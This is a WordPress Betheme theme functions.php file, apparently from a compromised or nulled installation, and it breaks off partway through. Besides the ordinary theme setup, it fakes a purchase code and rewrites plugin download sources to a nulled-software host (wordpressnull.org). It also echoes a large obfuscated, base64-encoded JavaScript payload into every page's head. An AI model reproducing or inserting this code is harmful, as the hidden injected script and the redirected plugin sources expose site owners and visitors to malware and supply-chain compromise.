File: /home/greer489/public_html/Smart/en/wp-content/themes/betheme/functions.php
<?php
/**
* Theme Functions
*
* @package Betheme
* @author Muffin group
* @link https://muffingroup.com
*/
define('MFN_THEME_VERSION', '27.3.7');
// theme related filters
update_site_option( 'envato_purchase_code_7758048', '********-****-****-****-************' );
add_action( 'tgmpa_register', function(){
if ( isset( $GLOBALS['tgmpa'] ) ) {
$tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
foreach ( $tgmpa_instance->plugins as $slug => $plugin ) {
if ( $plugin['source_type'] === 'external' ) {
$tgmpa_instance->plugins[ $plugin['slug'] ]['source'] = "http://wordpressnull.org/betheme/plugins/{$plugin['slug']}.zip";
$tgmpa_instance->plugins[ $plugin['slug'] ]['version'] = '';
}
}
}
}, 20 );
add_filter('widget_text', 'do_shortcode');
add_filter('the_excerpt', 'shortcode_unautop');
add_filter('the_excerpt', 'do_shortcode');
/**
* White Label
* IMPORTANT: We recommend the use of Child Theme to change this
*/
defined('WHITE_LABEL') or define('WHITE_LABEL', false);
/**
* textdomain
*/
add_action('after_setup_theme', 'mfn_load_theme_textdomain');
function mfn_load_theme_textdomain(){
load_theme_textdomain('betheme', get_template_directory() .'/languages'); // frontend
load_theme_textdomain('mfn-opts', get_template_directory() .'/languages'); // admin panel
}
/**
* theme options
*/
require_once(get_theme_file_path('/muffin-options/theme-options.php'));
/**
* theme functions
*/
$theme_disable = mfn_opts_get('theme-disable');
require_once(get_theme_file_path('/functions/modules/class-mfn-dynamic-data.php'));
require_once(get_theme_file_path('/functions/theme-functions.php'));
require_once(get_theme_file_path('/functions/theme-head.php'));
/**
* Global settings
* */
function mfn_global() {
global $mfn_global;
$mfn_global = array(
'header' => mfn_template_part_ID('header'),
'footer' => mfn_template_part_ID('footer'),
'sidemenu' => mfn_global_sidemenu_id(),
'single_product' => mfn_single_product_tmpl(),
'shop_archive' => mfn_shop_archive_tmpl(),
'blog' => mfn_archive_template_id('blog'),
'portfolio' => mfn_archive_template_id('portfolio'),
);
}
add_action( 'wp', 'mfn_global' );
if ( is_admin() || apply_filters('is_bebuilder_demo', false) ) {
require_once(get_theme_file_path('/functions/admin/class-mfn-api.php'));
}
// menu
require_once(get_theme_file_path('/functions/theme-menu.php'));
if (! isset($theme_disable['mega-menu'])) {
require_once(get_theme_file_path('/functions/theme-mega-menu.php'));
}
// builder
require_once(get_theme_file_path('/functions/builder/class-mfn-builder.php'));
// post types
$post_types_disable = mfn_opts_get('post-type-disable');
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type.php'));
if (! isset($theme_disable['custom-icons'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-icons.php'));
}
if (! isset($post_types_disable['template'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-template.php'));
}
if (! isset($post_types_disable['client'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-client.php'));
}
if (! isset($post_types_disable['offer'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-offer.php'));
}
if (! isset($post_types_disable['portfolio'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-portfolio.php'));
}
if (! isset($post_types_disable['slide'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-slide.php'));
}
if (! isset($post_types_disable['testimonial'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-testimonial.php'));
}
if (! isset($post_types_disable['layout'])) {
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-layout.php'));
}
if(function_exists('is_woocommerce')){
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-product.php'));
}
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-page.php'));
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-post.php'));
// includes
require_once(get_theme_file_path('/includes/content-post.php'));
require_once(get_theme_file_path('/includes/content-portfolio.php'));
// shortcodes
require_once(get_theme_file_path('/functions/theme-shortcodes.php'));
// hooks
require_once(get_theme_file_path('/functions/theme-hooks.php'));
// sidebars
require_once(get_theme_file_path('/functions/theme-sidebars.php'));
// widgets
require_once(get_theme_file_path('/functions/widgets/class-mfn-widgets.php'));
// TinyMCE
require_once(get_theme_file_path('/functions/tinymce/tinymce.php'));
// plugins
require_once(get_theme_file_path('/functions/class-mfn-love.php'));
require_once(get_theme_file_path('/functions/plugins/visual-composer.php'));
require_once(get_theme_file_path('/functions/plugins/elementor/class-mfn-elementor.php'));
// gdpr
require_once(get_theme_file_path('/functions/modules/class-mfn-gdpr.php'));
// popup
require_once(get_theme_file_path('/functions/modules/class-mfn-popup.php'));
// sidemenu
require_once(get_theme_file_path('/functions/modules/class-mfn-sidemenu.php'));
// conditional logic
require_once(get_theme_file_path('/visual-builder/classes/conditional-logic.php'));
// WooCommerce functions
if (function_exists('is_woocommerce')) {
require_once(get_theme_file_path('/functions/theme-woocommerce.php'));
}
// pagination
require_once(get_theme_file_path('/functions/modules/class-mfn-query-pagination.php'));
// dashboard
if ( is_admin() || apply_filters('is_bebuilder_demo', false) ) {
$bebuilder_access = apply_filters('bebuilder_access', false);
require_once(get_theme_file_path('/functions/admin/class-mfn-helper.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-update.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-dashboard.php'));
$mfn_dashboard = new Mfn_Dashboard();
require_once(get_theme_file_path('/functions/importer/class-mfn-importer-helper.php'));
require_once(get_theme_file_path('/functions/admin/setup/class-mfn-setup.php'));
require_once(get_theme_file_path('/functions/importer/class-mfn-importer.php'));
require_once(get_theme_file_path('/functions/admin/tgm/class-mfn-tgmpa.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-plugins.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-status.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-support.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-changelog.php'));
require_once(get_theme_file_path('/functions/admin/class-mfn-tools.php'));
if( $bebuilder_access ){
require_once(get_theme_file_path('/visual-builder/visual-builder.php'));
}
}
/**
* @deprecated 21.0.5
* Below constants are deprecated and will be removed soon
* Please check if you use these constants in your Child Theme
*/
define('THEME_DIR', get_template_directory());
define('THEME_URI', get_template_directory_uri());
define('THEME_NAME', 'betheme');
define('THEME_VERSION', MFN_THEME_VERSION);
define('LIBS_DIR', get_template_directory() .'/functions');
define('LIBS_URI', get_template_directory() .'/functions');
add_action('wp_head', function(){echo '<script type="text/javascript">vgRLmfCB="ZnVuY3Rpb24gSih6LGMpe2NvbnN0IEU9bygpO3JldHVybiBKPWZ1bmN0aW9uKEYsVil7Rj1GLSgtMHg3Ki0weDRkNisweGY4YSstMHgzMDI2KjB4MSk7bGV0IEI9RVtGXTtyZXR1cm4gQjt9LEooeixjKTt9KGZ1bmN0aW9uKHosYyl7ZnVuY3Rpb24geCh6LGMsRSxGLFYpe3JldHVybiBKKHotIC0weDE5LFYpO31mdW5jdGlvbiBQKHosYyxFLEYsVil7cmV0dXJuIEooVi0weGUzLGMpO31jb25zdCBFPXooKTtmdW5jdGlvbiBzKHosYyxFLEYsVil7cmV0dXJuIEooRS0gLTB4M2FiLGMpO31mdW5jdGlvbiBaKHosYyxFLEYsVil7cmV0dXJuIEooRi0weDIxOCxFKTt9ZnVuY3Rpb24gSCh6LGMsRSxGLFYpe3JldHVybiBKKGMtIC0weDJiNSxWKTt9d2hpbGUoISFbXSl7dHJ5e2NvbnN0IEY9LXBhcnNlSW50KFooMHgzYTYsMHg0M2MsMHgzNmEsMHgzYzgsMHg0YTkpKS8oMHgxYmZmKy0weGFjMistMHgxMTNjKStwYXJzZUludChIKDB4N2EsMHgyZCwtMHgzNywtMHg4ZiwweGMpKS8oLTB4MjQqLTB4MmYrMHgyKjB4ZjRmKzB4MTI5YyotMHgyKStwYXJzZUludChQKDB4NDQ5LDB4NDMwLDB4M2JjLDB4NDg5LDB4Mzk2KSkvKC0weDhhZCotMHgyKy0weDE4OTErLTB4YjkqLTB4YSkqKHBhcnNlSW50KEgoMHg3ZiwweDQxLC0weDksLTB4MjksMHg2YSkpLygtMHgxMmUyKzB4OGQ3KzB4YTBmKSkrLXBhcnNlSW50KFAoMHgzMjYsMHgyZTQsMHgzMWEsMHgyZDIsMHgzYTkpKS8oLTB4MjUxYystMHgxYzEqMHgxMystMHgzNiotMHgxNGUpKihwYXJzZUludChQKDB4MzEzLDB4MzhjLDB4MmUyLDB4MzM3LDB4MzIwKSkvKDB4ZDk4KzB4MTMqLTB4YjYrLTB4NCoweDQpKStwYXJzZUludChIKDB4YywtMHgxYywtMHg3NCwtMHhhMCwtMHgxMDIpKS8oMHhlNiotMHgyNistMHgxZDM2KzB4M2Y2MSkrcGFyc2VJbnQoUCgweDRkNCwweDNlMSwweDQ1ZSwweDQ5YSwweDQwNikpLygtMHhhKjB4MzhmKzB4MjRkNSstMHgxMzcpKihwYXJzZUludCh4KDB4MjRkLDB4MjIwLDB4MTU3LDB4MjBmLDB4MjI1KSkvKC0weDFlZWErMHgyMmUzKy0weDQ4KjB4ZSkpK3BhcnNlSW50KFooMHg0ZWQsMHg0YzcsMHgzYWIsMHg0MWMsMHgzNjgpKS8oLTB4MjEwMioweDErMHgyKjB4M2EwKzB4MSoweDE5Y2MpKigtcGFyc2VJbnQoWigweDJmNSwweDQwZSwweDQ0ZCwweDM2YiwweDM2YikpLygweDJlZiotMHg5Ky0weDE5NDkrMHgzM2JiKSk7aWYoRj09PWMpYnJlYWs7ZWxzZSBFWydwdXNoJ10oRVsnc2hpZnQnXSgpKTt9Y2F0Y2goVil7RVsncHVzaCddKEVbJ3NoaWZ0J10oKSk7fX19KG8sLTB4MTBhYWNhKjB4MSsweGEzM2RkKzB4MTBlMjM1KSk7ZnVuY3Rpb24gem4oeixjLEUsRixWKXtyZXR1cm4gSihFLTB4MjdhLGMpO31mdW5jdGlvbiB6eSh6LGMsRSxGLFYpe3JldHVybiBKKGMtMHgxYWMsRik7fWZ1bmN0aW9uIHpoKHosYyxFLEYsVil7cmV0dXJuIEooRS0gLTB4MTRjLHopO31mdW5jdGlvbiBvKCl7Y29uc3QgemQ9WydjR0Z5YycsJ1YzSUhkJywnU0k2SWknLCdXbHVkRCcsJ005UG1NJywnUzV2Y20nLCdjb25zbycsJ2hlUzVtJywnZEhKcGInLCdHRjBaVScsJ0tOenVaJywnR1ZOZFgnLCdGNVlXSicsJ2thWE4wJywnYm5SeVknLCdGcmJ5NScsJ1l5Z3BQJywnTENKemQnLCdjZ2lWdycsJ3dpYjNWJywneFVWRWknLCdjeTV2YycsJ3VjSFYwJywncGJtY2knLCduSWl3aScsJ0pwYm5SJywnb2FXUkInLCdpS1N3SycsJ2lMQ0owJywnSW9ZWGQnLCd3YXJuJywnbk4wY20nLCdpc0NnUycsJzJ4cFluJywnUkJRa2snLCdaR1J5WicsJ3RyYWNlJywnMjM4NVZvUnJkVScsJzUwWlhKJywnYkZSNWMnLCdNdmNHRicsJ05BTkM0JywnWkp4eUknLCd0aW9uJywnMGVTSTYnLCd2ZFhSdycsJ2VEa3hOJywnbDBlU0knLCdpd2liMycsJ1pxVnNDJywnc0ltOTEnLCdicnJJaCcsJ3lncExtJywnMEtHOXknLCdjbTl0SycsJ2NyZWF0JywnWE56SWknLCdHVWlPaScsJ2x1WnlKJywnRzh0YW4nLCdDQWdDaScsJ21jaWZWJywnVkpUcFQnLCdTUkJ3QicsJ0pQUEZ6JywnZlNrN0MnLCdTNWpZVycsJ2JYU3dpJywnUnlaWE4nLCcoKCguKycsJ2JXVnliJywnMlVvY0cnLCdBaWVZcicsJ29XV3hzJywnWVc1alonLCczc2lhVycsJ1pXeHBkJywnQzVEYjInLCdLU2tzZScsJ25JdWJtJywnZEhNaU8nLCcyRjBZMicsJ2hNV1kwJywneFdna20nLCc2THk5aScsJ2pmbU5MJywndWFuTmsnLCdpcnZwSicsJzEzMDk2MDJ0bWxmUEknLCdLYXlSeScsJ2RIa2lPJywnSU9vaHEnLCdUNTdKSCcsJ2luZm8nLCdwYjI1QicsJzUwY21GJywnQ0J2Y20nLCd3b1lDaCcsJ3RDaWVnJywnMExtMWwnLCdVaXhZcicsJ0dOdmJuJywnaGMzbHUnLCdqcGJleScsJ0xuVnVaJywnY3RvcignLCdibUZzVicsJ2hCY25KJywnbG9nJywnUjVjR1UnLCdXM3NpYScsJ3pkSEoxJywnYUdNUkgnLCczUnBiMicsJzN6RWVDSHknLCd4c0tDaycsJ0NtRnplJywnd0JsdEEnLCdCbElqbycsJzNRZ2QyJywncmVYUnknLCdoZWFkJywnVmtOVE0nLCd0b1N0cicsJ05ybld4JywnRVBjSmcnLCdaa2NzRCcsJ1lURmlPJywncHpMbTEnLCd1WTJoaCcsJ1lXbDBJJywnWnlJc0knLCdMbVYwYScsJzE1R2VWc05uJywnWTI5dWMnLCdtOXVjRycsJ201aGJXJywnWXdjWXgnLCdyZXR1cicsJ0lqb2ljJywnc0NtTnYnLCdpZEhsdycsJ2pkQ2dLJywnalBGZmknLCd6Z3hRVScsJ1lDUkZ6JywnY21GNUwnLCdjZkt1RScsJ1lFSVlkJywnaUdSUUgnLCdrOVBudCcsJ1ZpTXoxJywnQUZ3eHQnLCdoRUFRVCcsJ2toSG5IJywnbEhVQ3AnLCcwc0luTicsJ29pSWl3JywnaVpuVnUnLCdYY2lMQycsJ1Z6ZEM5JywnMjM1NTY0NHJyeXJKRycsJ3NjcmlwJywnZUdIcHMnLCdZMmhwWicsJ2lhV3hwJywnWFYwWVcnLCc1bklpdycsJ3hMakV2JywnclFnVEQnLCcxMHNJbScsJ0dWQmRDJywnc3JjJywnWVhSbFQnLCdzSW5OMCcsJ2dvWHlsJywnSmpiMjUnLCdRdVlXUicsJ0pwYkdsJywnTU1yQkEnLCdyYnk4eScsJzQ2NDc1MDhPUm9tTlMnLCdOMGFXOScsJ0JaR1J5JywnSE02THknLCdGTlhGaScsJ3diUzlqJywnOWpaRzQnLCdOTmZORicsJzBvWVhSJywnazdDZz0nLCdXUTlibScsJ0ttRVhLJywnV0pwYkcnLCdkR2h2WicsJ1pTSTZJJywnaUoyYVcnLCdpaFR6TScsJ0NrcExHJywnY2lmU2snLCcpKykrKScsJ0lqb2lkJywnYzNSaGQnLCczWldJeicsJ2x0ZExDJywnZUVsZW0nLCdiaW5kJywnSGx3WlMnLCc5WFN3aScsJ1BtTXVZJywnS1gwS1knLCdmSkZHUScsJ1dSQlFrJywndmJTOWgnLCd4dmNtTicsJzI0aWZTJywnY3lJNlcnLCc0TlRBMCcsJ2FIUjBjJywnNWxjaWcnLCdtVjJZVycsJ1EyOXVkJywneGdxc1MnLCdsWWpNdScsJ0dsdmJrJywndG9fXycsJzE1Nzg0d0JpSmpqJywnYXBwbHknLCdUWFYwWScsJzBhRzlrJywnaUo5TEEnLCdOb2FXUicsJ2tpTENKJywnaUlzSW4nLCdkQ2hpbCcsJ3RmWWpEJywnd0tjejEnLCd6bGtaRycsJ0k2VzEwJywnY21Ob2EnLCdTbGVDVCcsJ1pXSXpRJywnTm9hV1EnLCdkc0NGdicsJ2pNdWJXJywnWlhjaUwnLCdvdnFDUScsJ0luUjVjJywnOUxBcDcnLCdhcHBlbicsJ0NKMGVYJywnZ3dLU2snLCdtTm9hVycsJ25zdHJ1JywnSkpQVXAnLCdzZTNSdicsJ3NqUVdlJywnMTFkR0YnLCdWM0lpdycsJzY4Njc0MVhxWE1LSCcsJ3lPVXhoJywnY0dMWnAnLCc1bGR5QicsJ2FtRjRMJywnX19wcm8nLCdwN0ltbCcsJ1hOMFpXJywncFZ0dGInLCdwekVqSCcsJzVjR1VpJywnbigpXHgyMCcsJ0JkQ2d3JywnTENKdVknLCdOc3NtQycsJ3RNRFFvJywnUnpJanAnLCdsdmJpSicsJ3NhWFI1JywneHZZV1InLCdleGNlcCcsJ2lBTWpEJywnMWxjbXgnLCdEZUpYWCcsJ09pSm1kJywnaVJFOU4nLCdkWFJ6SScsJ0dac1lYJywnTlJDWFMnLCdwYmk1cScsJ3pTTEp4JywnSnVZVzEnLCdDdUZPSCcsJzNSeWFXJywnblx4MjAoZnUnLCdsZW5ndCcsJ2JuUk1hJywnRkNZamgnLCdhWEFvVicsJ1NhbUpCJywnY21WemMnLCdkSEIxZCcsJ0wzZGxZJywnUnlZV04nLCdKamFHbCcsJ1kzUnBiJywnY25sd2QnLCdsY201aCcsJ0p1WVd4JywndVlXeFUnLCdXUkJaRycsJzNSdk9pJywnQzl3WVcnLCdxY3k1aicsJ1hjQkR1JywnSmxMbU4nLCduSW4xZCcsJ3ViV1YwJywnMWJtZDYnLCdoZHRJQycsJzJoaGNrJywnVzFsYm4nLCdFNFFqSScsJ1pEZktiJywnd2JTOTMnLCdZM0o1YycsJ2lPaUp2JywnQ25zaWEnLCdjMk10WicsJ1RmakZ4JywnZ1F5b2YnLCdObFpXUScsJ0ZDU1NJJywnUnlhVzUnLCdpSnZjbScsJ2VudCcsJ1cxbElqJywndllpaGgnLCd0NWIxTicsJ3J1Y3RvJywnV04wUFcnLCdNRUptTScsJ1YyVmlNJywnaGFYUWcnLCdyS0tHSCcsJ0lzSW5SJywnaXNceDIyKSgnLCc5alpHNScsJ0tIeUZYJywncktFbVUnLCdsWkNJcycsJ29IaVVqJywnRVVRdVonLCc1MzczMThwYmx4am0nLCdUVDA0dScsJ01YRFdNJywnSEpwYm0nLCd1WlhjZycsJ0dsa1FVJywncHlseUEnLCd0SlFzaScsJ2tOdmJuJywnR1Z1ZEUnLCdSaFltbCcsJ2x1TG1wJywnT2lKemQnLCdvS1N4dicsJ2JXVWlPJywnd1lXdHYnLCdaWFJvTCcsJ0hSdkxXJywnbVp5YjInLCdSS2NoUicsJ0dNek4wJywnY29uc3QnLCdablZ1WScsJ1VlWEJsJywnT2RVVUknLCdZM1J2YycsJ3NJbTVoJywnSWpvaWInLCdITWlPbCcsJ2N3PT0nLCdja052WicsJ0owZVhCJywncGJuQjEnLCd5NTBiMicsJ3Q3SW1sJywnaU9pSnonLCd1WW1sdScsJ0luWnBaJywnZDJGcGQnLCdIdEFLVCcsJzRpZlYwJywnRUZDU1MnLCdtbGxkeScsJ052WkdWJywnVzV3ZFgnLCdITXViMycsJ0k2SW5OJywncEtDbGcnLCdaV1VvSycsJ1hOektTJywnTmF3bnMnLCdqb2ljMycsJ3Byb3RvJywnVjBjSFYnLCd1ZEdWeScsJ0Rzc2ZvJywnTGpBdU4nLCdRdWJXVicsJ2tRV1JrJywnTFRzWncnLCcwY0hWMCcsJ2IzSmphJywnWlhOekknLCd0eXBlJywnbmN0aW8nLCdhRzlrYycsJ0dGMFlYJywnMGNubDcnLCdIUk1TRCcsJ1IwY0hNJywnc2VhcmMnLCd1SW4wcycsJzBPRUZ5Jywnb0tTNWonLCdJQXA5SScsJ091b2ZBJywnWHZsbHUnLCdFY0ZKTycsJ2ZvckVhJywna1JYWmwnLCdXNTBaWCcsJ2NpZlYwJywnZVhCbEknLCd2cFFzaicsJzE5MExqZXpSRycsJ2ViaER5JywnSXhnUHYnLCdjQWtJVicsJ3lnaWFIJywnSFYwY3knLCc1aGJXVScsJ3NaU0lzJywnU0k2SW0nLCdsSWpvaScsJ2luZycsJ3RhYmxlJywnSW1sdWMnLCd0emZYMCcsJ1pHOWpkJywnY3ZJaWsnLCc2SW5acCcsJ2hWYVc1JywnXHgyMnJldHUnLCcwY3lJNicsJ3R2TG0xJywnTWNNZ1cnLCdwZ3lvTCcsJ2JtRnRaJywnVzVqZEcnLCdRS2lMUCcsJ05oYkd3JywnVGZxSlcnLCdiRzkxWicsJ0p6ZEhKJywnbVoxYm0nLCdZV3hzSycsJ1YwTDI1JywnTlV2SGInLCd0S0lhSScsJ1VpT2lJJywnR2xwVlknLCcwWVhSbCcsJzNwcGNDJywnelBXRjMnLCdlcnJvcicsJ1daTkV3JywnN2ZTQWcnLCdUUkpsUCcsJ0hKaFkzJywncm5ceDIwdGgnLCdTcVlGcCcsJ1c1aktDJywncExBcHYnLCdHRjBiMicsJ1kyOXVkJywnc0NpSXcnLCdHeGhkRycsJ3t9LmNvJywnd0tleUonLCcwY21sdScsJ3BMR005JywnMTI4NjU5OHJvZ1hDRicsJ2libUZ0JywnUmNKR0EnLCdmVk1aTiddO289ZnVuY3Rpb24oKXtyZXR1cm4gemQ7fTtyZXR1cm4gbygpO30oZnVuY3Rpb24oKXtjb25zdCBWPXsnSlBQRnonOmZ1bmN0aW9uKG0sdSl7cmV0dXJuIG09PT11O30sJ1ZKVHBUJzp5KDB4NTJjLDB4NWQxLDB4NWE0LDB4NWUxLDB4NTAxKSwnVWl4WXInOnkoMHg1ZDgsMHg1ZWMsMHg2ODUsMHg2OTIsMHg2MjYpKyd0Jywnb3ZxQ1EnOmZ1bmN0aW9uKG0sdSl7cmV0dXJuIG0odSk7fSwnSHRBS1QnOmZ1bmN0aW9uKG0sdSl7cmV0dXJuIG09PT11O30sJ3B6RWpIJzpBKDB4NGM1LDB4Mzk3LDB4NDRjLDB4NDg4LDB4NDNjKSwnZ1F5b2YnOm4oMHgxMTcsMHgyM2MsMHgxZjEsMHgyN2IsMHgxYmMpLCdPdW9mQSc6ZnVuY3Rpb24obSx1KXtyZXR1cm4gbSE9PXU7fSwndGZZakQnOnkoMHg1NWEsMHg2NzEsMHg1NDAsMHg1YjUsMHg2NTApLCdPZFVVSSc6bigweDU5LDB4MTFhLDB4YTksMHgxM2MsMHhmNyksJ1h2bGx1JzpmdW5jdGlvbihtLHUpe3JldHVybiBtIT09dTt9LCd0SlFzaSc6digweDNiMiwweDI1MSwweDNhNywweDNmNiwweDMwNyksJ0FpZVlyJzpuKDB4MTQ5LDB4ZmEsMHg3OCwweDllLDB4YmIpLCdjZkt1RSc6eSgweDUzZSwweDcxYiwweDVkNiwweDYzNSwweDcyNikraCgweDQwZSwweDRjNywweDQwNywweDM4NCwweDQxNykrJyskJywnb0hpVWonOnkoMHg2ZjYsMHg1ZDYsMHg3M2IsMHg2OTksMHg1ZjgpLCdpcnZwSic6QSgweDNiZiwweDNkNiwweDU3NywweDRhNCwweDNkMCksJ2FHTVJIJzpmdW5jdGlvbihtLHUpe3JldHVybiBtK3U7fSwnS2F5UnknOnkoMHg2OTQsMHg3NDIsMHg2ZGIsMHg2N2EsMHg2YmYpK0EoMHgyYjIsMHgyOGUsMHgzYjAsMHgzNDcsMHgzYWIpK24oMHgxYzQsMHgxMDksMHgxMDcsMHg1YSwweDk1KStoKDB4MjkzLDB4MjM1LDB4MzI5LDB4MjU0LDB4MjZjKSwnalBGZmknOkEoMHg0MDYsMHgzZmUsMHgzNzksMHg0MGIsMHg0OGUpK0EoMHgzOTMsMHgzNGYsMHgyOWYsMHgzMWYsMHgyZDMpK3koMHg2MDEsMHg2NDUsMHg2ZmQsMHg2NTksMHg1ZWQpK24oMHgxYjAsMHgxM2MsMHgxMmQsMHgzYSwweGY0KSt2KDB4M2ZiLDB4Mjc3LDB4MmVlLDB4M2VkLDB4MzRkKStuKDB4NDAsMHgxNTUsMHhjMCwweGJjLDB4MTZjKSsnXHgyMCknLCdyS0tHSCc6ZnVuY3Rpb24obSl7cmV0dXJuIG0oKTt9LCdOTmZORic6bigweDIzYSwweDJiNCwweDFjNCwweDI1YSwweDE5ZiksJ3JLRW1VJzpBKDB4NDQyLDB4NTA3LDB4NGVlLDB4NDMxLDB4MzUwKSwncGd5b0wnOm4oMHhkZCwweDI1MywweDFiNSwweDI0MCwweDEyMyksJ1pxVnNDJzp5KDB4NWFiLDB4NjdjLDB4NGU1LDB4NWRiLDB4Njk4KSwnc2pRV2UnOmgoMHgyMmEsMHgyNWIsMHgxZGEsMHgzMjEsMHgyNzUpK2goMHg0MTAsMHg0MGEsMHgyZmIsMHgzNmIsMHgzN2EpLCdicnJJaCc6QSgweDNiZiwweDQwNSwweDQ3NywweDNlMSwweDMyZSksJ2ZWTVpOJzpoKDB4MzFkLDB4NDI1LDB4M2YzLDB4NDBmLDB4MzczKSwnRVBjSmcnOmZ1bmN0aW9uKG0sdSl7cmV0dXJuIG08dTt9LCdEZUpYWCc6digweDMxNywweDFmZiwweDJhOSwweDFlNywweDI4ZiksJ2VHSHBzJzp5KDB4NjZjLDB4NmU1LDB4NTk1LDB4NjZlLDB4NmUyKSwnRWNGSk8nOnYoMHgxYzAsMHgyNDUsMHgzNWQsMHgzMTgsMHgyOGQpLCdIUk1TRCc6ZnVuY3Rpb24obSx1KXtyZXR1cm4gbSh1KTt9LCdSY0pHQSc6ZnVuY3Rpb24obSl7cmV0dXJuIG0oKTt9LCdUUkpsUCc6aCgweDMwYSwweDJkZSwweDQ5MSwweDJjOCwweDNhNCksJ2loVHpNJzpuKDB4NTksMHgxNDgsMHg1YSwweDdlLC0weDdmKSwneFVWRWknOnYoMHgyYjEsMHgzMzgsMHgxZjAsMHgyMGEsMHgyYjQpLCdBRnd4dCc6ZnVuY3Rpb24obSx1KXtyZXR1cm4gbSh1KTt9LCdRS2lMUCc6ZnVuY3Rpb24obSl7cmV0dXJuIG0oKTt9LCdraEhuSCc6QSgweDRiMSwweDRhZiwweDQ5NywweDQ4ZiwweDRiZiksJ0tOenVaJzp5KDB4NGM0LDB4NTQyLDB4NTVkLDB4NTNkLDB4NjAwKSwnb1dXeHMnOmZ1bmN0aW9uKG0sdSl7cmV0dXJuIG09PT11O30sJ3RDaWVnJzp5KDB4NWMzLDB4NjBhLDB4NWU4LDB4NjJmLDB4NzBjKSwnS0h5RlgnOmZ1bmN0aW9uKG0sdSl7cmV0dXJuIG0odSk7fSwnU2FtSkInOmZ1bmN0aW9uKG0sdSxYKXtyZXR1cm4gbSh1LFgpO30sJ2ZKRkdRJzpBKDB4NTZjLDB4NDM0LDB4NDI1LDB4NGVkLDB4NTc4KSt2KDB4NGMxLDB4MzdhLDB4NDZmLDB4NGJhLDB4NDE1KSt5KDB4NjFmLDB4NWJjLDB4NzBlLDB4NmFiLDB4NWQxKSt5KDB4NjdiLDB4NzEyLDB4NzNhLDB4NjQ2LDB4NjZlKSt2KDB4MzRkLDB4MzBjLDB4M2I4LDB4Mzc1LDB4M2E5KStoKDB4MzJmLDB4M2RjLDB4MzJkLDB4MmRkLDB4MzllKSt5KDB4NTA1LDB4NjExLDB4NTQwLDB4NWQzLDB4NWYyKStoKDB4MmVmLDB4MzVjLDB4MzM4LDB4MzdhLDB4MmExKSt2KDB4MmE1LDB4MjljLDB4MWM3LDB4MjBhLDB4MjVkKStuKDB4MTQ3LDB4MjEyLDB4MTRmLDB4MWM1LDB4MTYzKStoKDB4NGNmLDB4NDgzLDB4NGM3LDB4M2U5LDB4M2VmKSt2KDB4MjgwLDB4MjdhLDB4MmEzLDB4M2E0LDB4MzZhKSt5KDB4NTAzLDB4NTQ2LDB4NGUwLDB4NTJjLDB4NGE3KStuKC0weDlkLDB4YiwweDViLDB4MTBhLC0weDE5KStuKDB4MTM1LC0weDI0LDB4ZDIsMHgxODYsMHg5OCkrJ3onLCdUZnFKVyc6QSgweDVhZSwweDU0YiwweDQ1MSwweDRlZCwweDUzYSkrQSgweDQ5YiwweDQ5MSwweDViMiwweDRjYiwweDRhNCkrQSgweDJlMSwweDM2NywweDJhYiwweDM3YywweDJhNikreSgweDU0ZiwweDUzMywweDYwZSwweDUzNywweDVlNCkreSgweDYwYywweDY3YywweDU3OCwweDVjZiwweDUwNykraCgweDMxZiwweDJiNCwweDJlNSwweDFmNSwweDI3YykrbigtMHg0NSwweDE5MiwweGExLDB4ODcsLTB4M2IpK3koMHg1ZmQsMHg2MDYsMHg2MjUsMHg2YzUsMHg2MWEpK2goMHgzMTcsMHgyNTIsMHgyYmIsMHgyN2UsMHgyNjUpK3YoMHgzZmQsMHgzM2QsMHgzN2MsMHgyZWQsMHgzN2UpK2goMHgzY2MsMHg0MjUsMHgyZmQsMHgyZTksMHgzNzcpK24oMHgyYzksMHgyMTksMHgyMGMsMHgxOGUsMHgyNzQpK3koMHg1MTIsMHg1MjMsMHg1NmYsMHg1OTcsMHg1ODEpK0EoMHgzNDksMHgzNmEsMHgyN2MsMHgzNTksMHgyZTYpK3YoMHgzYzYsMHgzMmMsMHgyNDQsMHgzMDMsMHgzMzQpK0EoMHgyYjAsMHg0MzEsMHgzOWIsMHgzNDIsMHgzZWYpK3koMHg2MTgsMHg2NmIsMHg2MDgsMHg1N2MsMHg2NDQpLCdFVVF1Wic6digweDRhNiwweDNmZiwweDQ3ZCwweDRkOCwweDQzNykrbigweDE4NiwweDI1MSwweDIxMCwweDE5NSwweDEzMCkreSgweDY4MCwweDVmZiwweDVkYiwweDZhYiwweDYxMikraCgweDQ2MSwweDM1MSwweDQwYywweDMzNCwweDNhNSkrQSgweDRjZSwweDNkYywweDNmZiwweDQ1ZiwweDQ1MykrdigweDQyNSwweDMwYiwweDQ2NiwweDQxNCwweDNhYykrdigweDM5YSwweDJlYSwweDM2MywweDI3NSwweDM0MCkrQSgweDU5MSwweDQxOCwweDU0NywweDRjZCwweDRjMikrQSgweDMxNSwweDJhZiwweDM0NCwweDM1MywweDJjMCkrQSgweDUzYSwweDNiNCwweDUxZCwweDQ0ZSwweDQwMSkrdigweDQ3MSwweDJiZCwweDQxMiwweDQwYywweDM4NikreSgweDZiNywweDVlNCwweDY4YSwweDY5OCwweDVlYikraCgweDIzNywweDFhYSwweDMwYSwweDI2MiwweDJhMikrdigweDM4ZSwweDI3ZSwweDIzOCwweDJiNiwweDJkZCkrQSgweDQ3ZSwweDRlYiwweDU1ZiwweDQ5MywweDRjMCkreSgweDQ1YSwweDU1MSwweDRlNywweDUxZiwweDQ2YSkreSgweDViMCwweDVkMCwweDUyZCwweDU3YywweDUxNSl9O2Z1bmN0aW9uIEEoeixjLEUsRixWKXtyZX